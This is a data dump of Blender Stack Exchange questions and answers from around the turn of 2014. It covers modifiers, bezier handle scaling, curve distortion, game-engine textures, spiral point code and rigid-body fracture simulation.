  <row Id="5904" PostTypeId="2" ParentId="5903" CreationDate="2013-12-31T03:51:27.740" Score="2" Body="&lt;p&gt;It sounds like you might have some modifiers on the object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try applying them to the mesh data. You can do this either by selecting the object in &lt;em&gt;Object mode&lt;/em&gt; and pressing &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&lt;em&gt;&gt; Mesh&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PXcdV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or by pressing &lt;em&gt;Apply&lt;/em&gt; on each modifier in &lt;em&gt;Properties &gt; Modifiers&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jq3iT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-12-31T03:51:27.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5905" PostTypeId="2" ParentId="5903" CreationDate="2013-12-31T03:58:18.237" Score="8" Body="&lt;p&gt;You more than likely have a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Multiresolution&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Multiresoultion&lt;/em&gt;&lt;/a&gt; modifier on your object. You can switch to the &lt;em&gt;Modifiers&lt;/em&gt; tab and press &lt;em&gt;Apply&lt;/em&gt; on the modifier to apply this and see how your object looks in edit mode &lt;strong&gt;&lt;em&gt;but&lt;/em&gt;&lt;/strong&gt; if you apply it now, you will lose the ability to adjust any settings on the modifier and you might be left with a really high poly object which is undesirable if you decide to tweak the sculpt later (reduce view levels etc to reduce the load on the viewport).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still decide to apply the modifier, I would recommend making a copy of the sculpt just in case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To keep the modifier and export the sculpt, when using the Collada exporter, look in the properties to the left and tick &lt;em&gt;Apply modifiers&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NdVbV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-12-31T04:06:28.590" LastActivityDate="2013-12-31T04:06:28.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5907" PostTypeId="2" ParentId="5898" CreationDate="2013-12-31T07:42:42.680" Score="2" Body="&lt;p&gt;You could use a curve to join them together.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# add sphere1&#xA;bpy.ops.surface.primitive_nurbs_surface_sphere_add(radius=.5, location=(-1, -1, 0))&#xA;&#xA;# add sphere2&#xA;bpy.ops.surface.primitive_nurbs_surface_sphere_add(radius=.5, location=(1, 1, 0))&#xA;&#xA;# add a curve to link them together&#xA;bpy.ops.curve.primitive_bezier_curve_add()&#xA;obj = bpy.context.object&#xA;obj.data.dimensions = '3D'&#xA;obj.data.fill_mode = 'FULL'&#xA;obj.data.bevel_depth = 0.1&#xA;obj.data.bevel_resolution = 4&#xA;# set first point to centre of sphere1&#xA;obj.data.splines[0].bezier_points[0].co = (-1,-1,0)&#xA;obj.data.splines[0].bezier_points[0].handle_left_type = 'VECTOR'&#xA;# set second point to centre of sphere2&#xA;obj.data.splines[0].bezier_points[1].co = (1,1,0)&#xA;obj.data.splines[0].bezier_points[1].handle_left_type = 'VECTOR'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-12-31T07:42:42.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5908" PostTypeId="1" AcceptedAnswerId="5912" CreationDate="2013-12-31T08:46:50.777" Score="4" ViewCount="2408" Body="&lt;p&gt;I made a circle, then went into edit mode. Selected two opposing points and went to scale. I'd like to prevent the amount of curve from being affected. I just want to move points uniformly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that makes sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without restricting the anchors (using the circle as an example object), if you were to scale the two opposing anchors you'd end up with a peanut shape (due to the curves also scaling). What I want is to end up with an oblong oval -- using edit mode. I know I can achieve the same effect in this case by scaling along the x or y axis in this case in object mode but I figure for more complex shapes this would not be the case.&lt;/p&gt;&#xA;" OwnerUserId="2019" LastEditorUserId="2019" LastEditDate="2013-12-31T10:17:00.813" LastActivityDate="2013-12-31T11:35:00.067" Title="How can I scale bezier points without curve anchors being affected?" Tags="&lt;transforms&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5909" PostTypeId="2" ParentId="5908" CreationDate="2013-12-31T10:11:54.570" Score="1" Body="&lt;p&gt;After scaling constraint to x-axis in &lt;em&gt;Edit Mode&lt;/em&gt; the curve gets a 'waist' this can easily be fixed by scaling the control points. In &lt;em&gt;Object Mode&lt;/em&gt; the constriction does not appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you only need the curves for modeling more complex objects and want adjust the scale, converting the curve into a mesh could be also an option &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;C&lt;/kbd&gt; (in &lt;em&gt;Object Mode&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4fQL1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2013-12-31T10:25:33.597" LastActivityDate="2013-12-31T10:25:33.597" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5910" PostTypeId="1" CreationDate="2013-12-31T10:24:42.937" Score="26" ViewCount="26227" Body="&lt;p&gt;This is the profile of the object I'd like to wrap...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GTaJg.png&quot; alt=&quot;Object to wrap.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the object's profile after being wrapped...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HFlyM.png&quot; alt=&quot;Object profile after wrapped to curve.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to prevent the distortion? The following post here: &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?293735-Dublicating-an-object-along-a-curve-without-distortion-Array-or-DubliFrames&quot;&gt;http://blenderartists.org/forum/showthread.php?293735-Dublicating-an-object-along-a-curve-without-distortion-Array-or-DubliFrames&lt;/a&gt; did not affect my object. It seemed very promising, maybe I'm missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I have applied the scale to both my object and curve.&lt;/p&gt;&#xA;" OwnerUserId="2019" LastActivityDate="2017-03-07T20:32:24.320" Title="How do I prevent object distortion when applying a curve modifier?" Tags="&lt;modifiers&gt;&lt;bezier-curves&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="5911" PostTypeId="2" ParentId="5908" CreationDate="2013-12-31T11:33:43.360" Score="1" Body="&lt;p&gt;You can select those points, and press &lt;kbd&gt;V&lt;/kbd&gt; to change the handle type to &lt;strong&gt;Free&lt;/strong&gt; or &lt;strong&gt;Aligned&lt;/strong&gt;, then you can scale them along single axis without messing up the original handle.&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2013-12-31T11:33:43.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5912" PostTypeId="2" ParentId="5908" CreationDate="2013-12-31T11:35:00.067" Score="3" Body="&lt;p&gt;This is because the points handles type is set to &lt;em&gt;Automatic&lt;/em&gt; by default. You can try convert them to &lt;strong&gt;&lt;em&gt;Free&lt;/em&gt;&lt;/strong&gt; before you scale it.&lt;br&gt;&#xA;To do so, in &lt;em&gt;Edit Mode&lt;/em&gt; of any &lt;em&gt;Curve&lt;/em&gt; object :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select the points you want to scale&lt;/li&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;V&lt;/kbd&gt; (or menu: &lt;code&gt;Curve&lt;/code&gt; &gt; &lt;code&gt;Control Points&lt;/code&gt; &gt; &lt;code&gt;Set Handle Type&lt;/code&gt;) and choose &lt;strong&gt;&lt;em&gt;Free&lt;/em&gt;&lt;/strong&gt;. The handles change color.&lt;/li&gt;&#xA;&lt;li&gt;you can now scale points the way you want, constraining them or not, and the handles won't scale accordingly. They will keep their original alignment.&lt;/li&gt;&#xA;&lt;li&gt;Beware to don't change their type again to &lt;em&gt;Automatic&lt;/em&gt;, because it will re-scale them according to their point's new position.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="527" LastActivityDate="2013-12-31T11:35:00.067" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5914" PostTypeId="2" ParentId="5910" CreationDate="2013-12-31T12:12:53.387" Score="12" Body="&lt;p&gt;The &lt;em&gt;Curve&lt;/em&gt; modifier will always distort the object according the curve's curvature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the object to follow the curve (using the curve as a path to move the object along it), you can add a &lt;strong&gt;&lt;em&gt;bone&lt;/em&gt;&lt;/strong&gt;, parent the object to this bone and add the &lt;em&gt;Follow Path&lt;/em&gt; bone constraint:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go to &lt;em&gt;Add&lt;/em&gt; menu (&lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt;) &gt; &lt;em&gt;Armature&lt;/em&gt; &gt; &lt;em&gt;Single Bone&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Place it at your object's center position&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Tab&lt;/kbd&gt; to &lt;strong&gt;Pose Mode&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select your object, then &lt;kbd&gt;Shift&lt;/kbd&gt; select the bone (in this order)&lt;/li&gt;&#xA;&lt;li&gt;Parent the object to the bone: hit &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;P&lt;/kbd&gt; and choose &lt;strong&gt;&lt;em&gt;Bone&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select the bone, and go to &lt;strong&gt;&lt;em&gt;Bone constraints&lt;/em&gt;&lt;/strong&gt; tab in the properties panel&lt;/li&gt;&#xA;&lt;li&gt;Add a &lt;strong&gt;&lt;em&gt;Follow Path&lt;/em&gt;&lt;/strong&gt; constraint (right-hand list, titled &quot;relationship&quot;)&lt;/li&gt;&#xA;&lt;li&gt;Choose your &lt;em&gt;Curve&lt;/em&gt; object in the &lt;strong&gt;Target&lt;/strong&gt; input&lt;/li&gt;&#xA;&lt;li&gt;Check the &lt;strong&gt;&lt;em&gt;Fixed position&lt;/em&gt;&lt;/strong&gt; box, and use the &lt;strong&gt;&lt;em&gt;offset&lt;/em&gt;&lt;/strong&gt; slider to move the object along the curve:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OVMMW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2013-12-31T12:12:53.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5915" PostTypeId="1" CreationDate="2013-12-31T12:29:32.377" Score="9" ViewCount="16537" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RusdE.png&quot; alt=&quot;It shows this in the render mode but when in the when I try the game it has no texture. Why doesn&amp;#39;t it show up in the game engine?&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It renders like this, but when I play the game it has no texture. Why doesn't the texture show up in the game engine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the file:&#xA;&lt;a href=&quot;http://filedropper.com/textured&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://filedropper.com/textured&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="14" LastEditDate="2013-12-31T17:43:41.797" LastActivityDate="2014-01-01T08:20:31.280" Title="Texture appears in render but not in game engine" Tags="&lt;texturing&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5916" PostTypeId="2" ParentId="5915" CreationDate="2013-12-31T12:52:23.350" Score="9" Body="&lt;p&gt;It seems that you haven't unwrapped the mesh.&#xA;Change to &lt;em&gt;Edit Mode&lt;/em&gt; in the 3D-View and select all &lt;kbd&gt;A&lt;/kbd&gt; press &lt;kbd&gt;U&lt;/kbd&gt; for unwrap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/98sG9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the texures settings select UV for &lt;em&gt;Coordinates&lt;/em&gt; and UVMap as &lt;em&gt;Map&lt;/em&gt;, &lt;em&gt;Projection&lt;/em&gt; should be Flat by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the &lt;em&gt;Viewport Shading&lt;/em&gt; to &lt;em&gt;Texture&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rgJRm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that the texture should be shown in the &lt;em&gt;Game Engine&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examining your .blend shows that the texture wasn't included in the file. I replaced it with another one, the issue that the texture isn't rendered in the BGE could be fixed either by moving it into the first slot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m6EY5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could set &lt;em&gt;Shading&lt;/em&gt; to GLSL in &lt;em&gt;Properties Panel&lt;/em&gt; &lt;kbd&gt;N&lt;/kbd&gt; in the 3D-View in &lt;em&gt;Object Mode&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z09lh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2013-12-31T15:03:46.577" LastActivityDate="2013-12-31T15:03:46.577" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5917" PostTypeId="2" ParentId="1371" CreationDate="2013-12-31T12:52:26.143" Score="5" Body="&lt;p&gt;Here is a comparison of 2 similar functions:&#xA;&lt;img src=&quot;https://4.bp.blogspot.com/-1hcEKLd-9xI/UsK8mKKpHUI/AAAAAAAAAIo/7N4FrsGvYEI/s1600/sflo+comparison2.jpg&quot; alt=&quot;a busy cat&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The functions are made to be run in a loop, with N providing the total number of dots, and k is the current iteration of the loop.  The first FCT is a phyllotaxis spiral formula, dont know how it works, perhaps it isnt meant for sunflowers with 10 000 seeds as it seems abit simple, the outer seeds might make straight lines, and the scond functiion uses phi, it is actually was originally from a code to make spheres with equally distributed dots, like disco balls, its on this website @ evenly-distributing-n-points-on-a-sphere. i just found these codes online in groups.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function sflo1 ( N:float,k:int):Vector3{//phi based pylospiral&#xA;//N=numpts  k=currentpt &#xA;k=k;&#xA;var inc =  Mathf.PI  * ( 3 - Mathf.Sqrt ( 5 ) );&#xA;var off = 2 / N;&#xA;var y = k * off - 1 + (off / 2);&#xA;var r = Mathf.Sqrt (Mathf.Abs(y))  ;&#xA;var phi = k * inc;&#xA;return Vector3(-Mathf.Cos(phi)*r, 0, -Mathf.Sin(phi)*r); &#xA;&#xA;};&#xA;&#xA;function sflo ( N:float,k:int):Vector3{//easy formula based on 137.5 pylospiral&#xA;var n = k;&#xA;var r=Mathf.Sqrt (n)*1/(Mathf.Sqrt (N));;&#xA;var t=137.5*pi/180*n;&#xA;return Vector3(r*Mathf.Cos(t),0, r*Mathf.Sin(t));&#xA;} &#xA;&#xA;function sflosq ( N:float,k:int):Vector3{//my own version it's stupid!&#xA;//N=numpts  k=currentpt &#xA;&#xA;var inc =  Mathf.PI  * ( 3 - Mathf.Sqrt ( 5 ) );&#xA;var off = 2 / N;&#xA;var y = k * off - 1 + (off / 2);&#xA;var r = Mathf.Sqrt (Mathf.Abs(y)) * Mathf.Sign(y) ;&#xA;var phi = k * inc;&#xA;return Vector3(Mathf.Asin(Mathf.Cos(phi))*r, 0, (-Mathf.Acos(Mathf.Sin(phi))+pi/2)*r); &#xA;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2020" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.230" LastActivityDate="2014-01-12T15:35:50.960" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5919" PostTypeId="2" ParentId="1371" CreationDate="2013-12-31T15:37:22.603" Score="29" Body="&lt;p&gt;So many nice answers already. :) I'd like to share my tricky way. too. Steps are shown below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VG6US.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hIvlP.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FUdPm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Demo file is &lt;strong&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B1ojv5B6Lb-3dEota2JzS3dTbzQ/view?usp=sharing&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-04-26T11:26:50.347" LastActivityDate="2015-04-26T11:26:50.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5923" PostTypeId="1" AcceptedAnswerId="5925" CreationDate="2014-01-01T08:54:40.363" Score="6" ViewCount="4711" Body="&lt;p&gt;In the following we are testing &lt;em&gt;cell fracturing&lt;/em&gt; applied to a UV-sphere (remeshed to blocks, BTW). We then apply rigidbody physics to the generated parts.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we start simulation as you can see below it looks like an explosion! &lt;strong&gt;Why?&lt;/strong&gt; Secondly parts are continuing to bounce for long time even though their bouncing property is zero. To avoid parts going out of camera we put a &lt;em&gt;passive rigidbody&lt;/em&gt; (big sphere). It's bouncing property is also zero. &lt;strong&gt;Why they act like that and how to solve this?&lt;/strong&gt; For all parts and big sphere the collision-shape is mesh and friction value is 0.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CAp0T.png&quot; alt=&quot;frame 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zLUbT.png&quot; alt=&quot;frame 5&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1xOSg.png&quot; alt=&quot;frame 250&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NRtki.gif&quot; alt=&quot;animation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;strong&gt;Convex-hull collision, all shards are convex&lt;/strong&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/F8IhN.gif&quot; alt=&quot;Convex-hull collision, all shards are convex&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Convex-hull collision, NOT all shards are convex&lt;/strong&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Fr7V9.gif&quot; alt=&quot;Convex-hull collision, not all shards are convex&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Mesh collision, all shards are convex&lt;/strong&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/teRii.gif&quot; alt=&quot;Mesh collision, all shards are convex&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Mesh collision, NOT all shards are convex&lt;/strong&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8XYzI.gif&quot; alt=&quot;Mesh collision, not all shards are convex&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the above simulations:&lt;br&gt;&#xA;&lt;code&gt;Split Impulse&lt;/code&gt; is &lt;code&gt;checked&lt;/code&gt;, Steps Per Second=120, Solver Iterations=50.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As can be seen from the above simulation results:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if all shards are convex, convex-hull collision results in the best.&lt;/li&gt;&#xA;&lt;li&gt;if &lt;strong&gt;not&lt;/strong&gt; all shards are convex, mesh collision results in the best.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Not sure why it is like this, after all!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;br&gt;&#xA;We incorporated all the suggestions below you can find in the answer and comments, but it seems there are lots of difficulties that are not solved yet, after all! Look at the following simulations where an spherical shelf is fractured. None of convex-hull or mesh collision-shape works correctly. Check the animation in the right, it looks it is not a shard but a airplane!! This is because of use of convex-hull for shards. Check the middle one (mesh collision-shape for shards) they don't act like shard but like spring! :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7wEf8.gif&quot; alt=&quot;chull&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/87sKT.gif&quot; alt=&quot;mesh&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QJVHM.gif&quot; alt=&quot;shard&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1716" LastEditorUserId="1716" LastEditDate="2014-01-05T06:16:20.623" LastActivityDate="2014-01-05T06:16:20.623" Title="Why do fractured parts act like an explosion?" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5925" PostTypeId="2" ParentId="5923" CreationDate="2014-01-01T12:17:26.200" Score="7" Body="&lt;p&gt;Basically it happens because when it simulates, the solver thinks meshes are intersecting with each other and it tries to separate them asap, giving the shards (sometimes) big speeds. Already mentioned &lt;em&gt;Split Impulse&lt;/em&gt; might work and should in most cases, but there are couple more things you could try:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;In &lt;em&gt;Scene -&gt; Rigid Body World&lt;/em&gt; increase &lt;em&gt;Steps Per Second&lt;/em&gt; and &lt;em&gt;Solver Iterations&lt;/em&gt; for more accurate simulation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Try changing between &lt;em&gt;Convex Hull&lt;/em&gt; and &lt;em&gt;Mesh&lt;/em&gt; in &lt;em&gt;Physics -&gt; Rigid Body&lt;/em&gt; (for each simulated object) and adjust the &lt;em&gt;Collision Margin&lt;/em&gt; parameter; it is not said which works better for any scene, &lt;em&gt;Convex Hull&lt;/em&gt; simplifies the simulation so it may speed up the process, but mess the simulation even more,&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Increase &lt;em&gt;Margin&lt;/em&gt; when performing cell fracturing - this adds some space between the shards and may help a bit with simulation,&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Scale whole scene up and apply scale for all objects - usually simulation performs much better for bigger objects; if you use this method, you might want to increase simulation speed in &lt;em&gt;Scene -&gt; Rigid Body World&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To copy parameters for all rigid bodies use &lt;em&gt;Rigid Body Tools&lt;/em&gt;, select all objects you want to set parameters (like &lt;em&gt;Margin&lt;/em&gt; for example) and copy from active Rigid body object (the one you have selected last).&lt;/p&gt;&#xA;" OwnerUserId="1610" LastEditorUserId="599" LastEditDate="2014-01-02T21:44:51.463" LastActivityDate="2014-01-02T21:44:51.463" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5926" PostTypeId="1" CreationDate="2014-01-01T12:28:02.987" Score="5" ViewCount="126" Body="&lt;p&gt;&lt;strike&gt;I am working through Blender 3d Basics by Gordon C Fisher. I'm on page 72. I have a green light and a red light but no yellow as pictured. Can anyone explain what I am doing wrong? Or better, What to do to get the yellow color on the cube? It is black where the yellow should be (on top of cube), and was also black in the previous two with the one red light and two red lights.&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I have two lamps shining on adjacent sides of a cube (1) and (2) blend together and create a different color on the top face (3).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/wEd0oHe.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2025" LastEditorUserId="12" LastEditDate="2014-01-01T21:53:20.050" LastActivityDate="2014-01-01T21:53:20.050" Title="Have two lamps blend together to give another color on a face" Tags="&lt;light&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5927" PostTypeId="2" ParentId="5926" CreationDate="2014-01-01T20:30:20.280" Score="7" Body="&lt;p&gt;You more than likely have the default point lamps at the exact middle of these faces, therefore they won't reach the top. Raise it above the top of the cube so they can illumiate the top face. The lamps will blend naturally and give you the third color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/X3Ij4gs.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2014-01-01T20:30:20.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5929" PostTypeId="1" AcceptedAnswerId="5930" CreationDate="2014-01-01T22:33:42.940" Score="8" ViewCount="2574" Body="&lt;p&gt;I am trying to composite some render layers from two different scenes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Main scene has objects and mist pass, transparency in world setting enabled.&#xA;Sky scene has only sky environment and transparency in world setting disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to achieve is to have the sky in the transparent area of the main scene, and to use the mist pass to add mist to the objects but not the sky, it should only affect the objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Main scene with objects:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OGhFf.png&quot; alt=&quot;main objects with transparency&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Main scene mist pass&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rh9fW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sky scene&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rmqa6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1626" LastActivityDate="2014-01-01T22:58:10.517" Title="Compositing multiple scenes and passes with transparency" Tags="&lt;cycles-render-engine&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5930" PostTypeId="2" ParentId="5929" CreationDate="2014-01-01T22:35:32.700" Score="4" Body="&lt;p&gt;You can use the alpha channel of the trees renderlayer as a mix factor between the sky and the trees:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/25wAC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/25wAC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can combine the &lt;em&gt;Mist pass&lt;/em&gt; with the trees however you like, just replace the screen node with whatever nodes you want.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-01-01T22:58:10.517" LastActivityDate="2014-01-01T22:58:10.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
